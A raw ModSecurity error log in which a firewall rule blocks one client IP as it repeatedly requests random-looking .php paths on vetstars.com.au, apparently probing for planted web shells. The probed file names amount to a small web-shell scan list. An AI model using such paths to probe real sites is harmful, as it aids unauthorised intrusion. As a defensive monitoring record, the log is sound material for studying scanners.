[Mon Apr 20 20:10:58.797253 2026] [:error] [pid 11352:tid 11435] [client 172.213.242.226:18275] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "aeYX0ml10mhMSfJ7ir_RuwAAAJU"]
[Mon Apr 20 20:10:59.615285 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18209] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjndd.php"] [unique_id "aeYX08gko5iFiE8YoyTWkQAAAYQ"]
[Mon Apr 20 20:11:00.361840 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:18177] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjndd.php"] [unique_id "aeYX1Mgko5iFiE8YoyTWkwAAAYU"]
[Mon Apr 20 20:11:01.163637 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18107] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjndd.php"] [unique_id "aeYX1f4EoMBgOJuJnT2gBQAAAAM"]
[Mon Apr 20 20:11:01.735223 2026] [:error] [pid 11441:tid 11454] [client 172.213.242.226:18300] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjndd.php"] [unique_id "aeYX1cixByFUvmh319CUNgAAAMs"]
[Mon Apr 20 20:11:02.305010 2026] [:error] [pid 11441:tid 11447] [client 172.213.242.226:18214] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeYX1sixByFUvmh319CUOAAAAMQ"]
[Mon Apr 20 20:11:02.851950 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18113] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeYX1v4EoMBgOJuJnT2gCgAAAA0"]
[Mon Apr 20 20:11:03.437961 2026] [:error] [pid 11350:tid 11359] [client 172.213.242.226:18295] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeYX1_4EoMBgOJuJnT2gDAAAAAA"]
[Mon Apr 20 20:11:03.971972 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18114] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeYX1_4EoMBgOJuJnT2gDgAAAAc"]
[Mon Apr 20 20:11:04.513651 2026] [:error] [pid 11351:tid 11388] [client 172.213.242.226:18077] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqjki.php"] [unique_id "aeYX2AN8Z1-vktaI_tPzYAAAAEE"]
[Mon Apr 20 20:11:05.038732 2026] [:error] [pid 11351:tid 11400] [client 172.213.242.226:13018] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqjki.php"] [unique_id "aeYX2QN8Z1-vktaI_tPzYQAAAE0"]
[Mon Apr 20 20:11:05.617383 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:18258] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqjki.php"] [unique_id "aeYX2f4EoMBgOJuJnT2gEwAAAAI"]
[Mon Apr 20 20:11:06.098012 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18194] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqjki.php"] [unique_id "aeYX2gN8Z1-vktaI_tPzYwAAAEM"]
[Mon Apr 20 20:11:06.578607 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18196] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ardsw.php"] [unique_id "aeYX2gN8Z1-vktaI_tPzZgAAAFY"]
[Mon Apr 20 20:11:07.193939 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18283] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ardsw.php"] [unique_id "aeYX2_4EoMBgOJuJnT2gFAAAAA4"]
[Mon Apr 20 20:11:07.764009 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18240] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ardsw.php"] [unique_id "aeYX28gko5iFiE8YoyTWlQAAAZM"]
[Mon Apr 20 20:11:08.445404 2026] [:error] [pid 11441:tid 11463] [client 172.213.242.226:18075] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ardsw.php"] [unique_id "aeYX3MixByFUvmh319CUPAAAANQ"]
[Mon Apr 20 20:11:09.023864 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18286] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeYX3QN8Z1-vktaI_tPzagAAAEw"]
[Mon Apr 20 20:11:09.581933 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18060] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeYX3cgko5iFiE8YoyTWlgAAAYg"]
[Mon Apr 20 20:11:10.105624 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18139] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeYX3gN8Z1-vktaI_tPzawAAAEA"]
[Mon Apr 20 20:11:10.587912 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18157] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeYX3v4EoMBgOJuJnT2gGQAAAAk"]
[Mon Apr 20 20:11:11.176700 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18181] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeYX38gko5iFiE8YoyTWmAAAAY0"]
[Mon Apr 20 20:11:11.733109 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:12994] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeYX3_4EoMBgOJuJnT2gGwAAABU"]
[Mon Apr 20 20:11:12.380565 2026] [:error] [pid 42014:tid 42036] [client 172.213.242.226:18294] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeYX4Mek-00-ZI0f1Np6fwAAARQ"]
[Mon Apr 20 20:11:13.272721 2026] [:error] [pid 11494:tid 11497] [client 172.213.242.226:18284] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeYX4cgko5iFiE8YoyTWmgAAAYE"]
[Mon Apr 20 20:11:13.909251 2026] [:error] [pid 11494:tid 11514] [client 172.213.242.226:18076] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aeYX4cgko5iFiE8YoyTWmwAAAZI"]
[Mon Apr 20 20:11:14.805396 2026] [:error] [pid 42014:tid 42035] [client 172.213.242.226:18253] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aeYX4sek-00-ZI0f1Np6gAAAARM"]
[Mon Apr 20 20:11:15.661527 2026] [:error] [pid 42014:tid 42021] [client 172.213.242.226:18243] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aeYX48ek-00-ZI0f1Np6gwAAAQU"]
[Mon Apr 20 20:11:17.025934 2026] [:error] [pid 42014:tid 42034] [client 172.213.242.226:13027] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gi.php"] [unique_id "aeYX5cek-00-ZI0f1Np6hgAAARI"]
[Mon Apr 20 20:11:17.570699 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18128] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iov.php"] [unique_id "aeYX5f4EoMBgOJuJnT2gJAAAABI"]
[Mon Apr 20 20:11:18.349404 2026] [:error] [pid 11494:tid 11519] [client 172.213.242.226:18201] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iov.php"] [unique_id "aeYX5sgko5iFiE8YoyTWnwAAAZc"]
[Mon Apr 20 20:11:18.949906 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:12958] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iov.php"] [unique_id "aeYX5v4EoMBgOJuJnT2gJQAAAA8"]
[Mon Apr 20 20:11:19.473293 2026] [:error] [pid 11350:tid 11359] [client 172.213.242.226:18242] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iov.php"] [unique_id "aeYX5_4EoMBgOJuJnT2gJgAAAAA"]
[Mon Apr 20 20:11:20.109044 2026] [:error] [pid 11494:tid 11498] [client 172.213.242.226:18195] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeYX6Mgko5iFiE8YoyTWowAAAYI"]
[Mon Apr 20 20:11:20.807129 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18227] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeYX6P4EoMBgOJuJnT2gKAAAABU"]
[Mon Apr 20 20:11:21.633770 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:13011] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeYX6cgko5iFiE8YoyTWpwAAAYg"]
[Mon Apr 20 20:11:22.185073 2026] [:error] [pid 42014:tid 42040] [client 172.213.242.226:18186] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeYX6sek-00-ZI0f1Np6hwAAARg"]
[Mon Apr 20 20:11:22.705285 2026] [:error] [pid 11494:tid 11516] [client 172.213.242.226:13053] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeYX6sgko5iFiE8YoyTWqAAAAZQ"]
[Mon Apr 20 20:11:23.236305 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18144] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeYX6_4EoMBgOJuJnT2gLAAAAAg"]
[Mon Apr 20 20:11:23.937848 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18048] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeYX6_4EoMBgOJuJnT2gLgAAABc"]
[Mon Apr 20 20:11:24.605770 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18086] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeYX7P4EoMBgOJuJnT2gLwAAAAM"]
[Mon Apr 20 20:11:25.155819 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18272] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeYX7f4EoMBgOJuJnT2gMAAAAA4"]
[Mon Apr 20 20:11:25.882444 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:13000] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeYX7f4EoMBgOJuJnT2gMwAAAA0"]
[Mon Apr 20 20:11:26.388549 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18203] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeYX7v4EoMBgOJuJnT2gNAAAAA8"]
[Mon Apr 20 20:11:27.000947 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:13031] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeYX7gN8Z1-vktaI_tPzbQAAAFM"]
[Mon Apr 20 20:11:27.539021 2026] [:error] [pid 11441:tid 11454] [client 172.213.242.226:18112] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bivvw.php"] [unique_id "aeYX78ixByFUvmh319CUPwAAAMs"]
[Mon Apr 20 20:11:28.069974 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:13044] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bivvw.php"] [unique_id "aeYX8P4EoMBgOJuJnT2gOQAAABg"]
[Mon Apr 20 20:11:28.679121 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:13030] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bivvw.php"] [unique_id "aeYX8P4EoMBgOJuJnT2gOwAAAAg"]
[Mon Apr 20 20:11:29.479187 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18288] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bivvw.php"] [unique_id "aeYX8f4EoMBgOJuJnT2gPQAAABc"]
[Mon Apr 20 20:11:30.278449 2026] [:error] [pid 11352:tid 11414] [client 172.213.242.226:18136] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa21.php"] [unique_id "aeYX8ml10mhMSfJ7ir_RvQAAAIA"]
[Mon Apr 20 20:11:30.836852 2026] [:error] [pid 11441:tid 11449] [client 172.213.242.226:18256] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa21.php"] [unique_id "aeYX8sixByFUvmh319CUQQAAAMY"]
[Mon Apr 20 20:11:31.370082 2026] [:error] [pid 11494:tid 11502] [client 172.213.242.226:18226] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa21.php"] [unique_id "aeYX88gko5iFiE8YoyTWrwAAAYY"]
[Mon Apr 20 20:11:31.893903 2026] [:error] [pid 11441:tid 11462] [client 172.213.242.226:18265] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa21.php"] [unique_id "aeYX88ixByFUvmh319CUQgAAANM"]
[Mon Apr 20 20:11:32.508739 2026] [:error] [pid 11352:tid 11434] [client 172.213.242.226:18052] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeYX9Gl10mhMSfJ7ir_RvwAAAJQ"]
[Mon Apr 20 20:11:33.140012 2026] [:error] [pid 11441:tid 11464] [client 172.213.242.226:18108] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeYX9cixByFUvmh319CUQwAAANU"]
[Mon Apr 20 20:11:33.851917 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18167] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeYX9cgko5iFiE8YoyTWswAAAZM"]
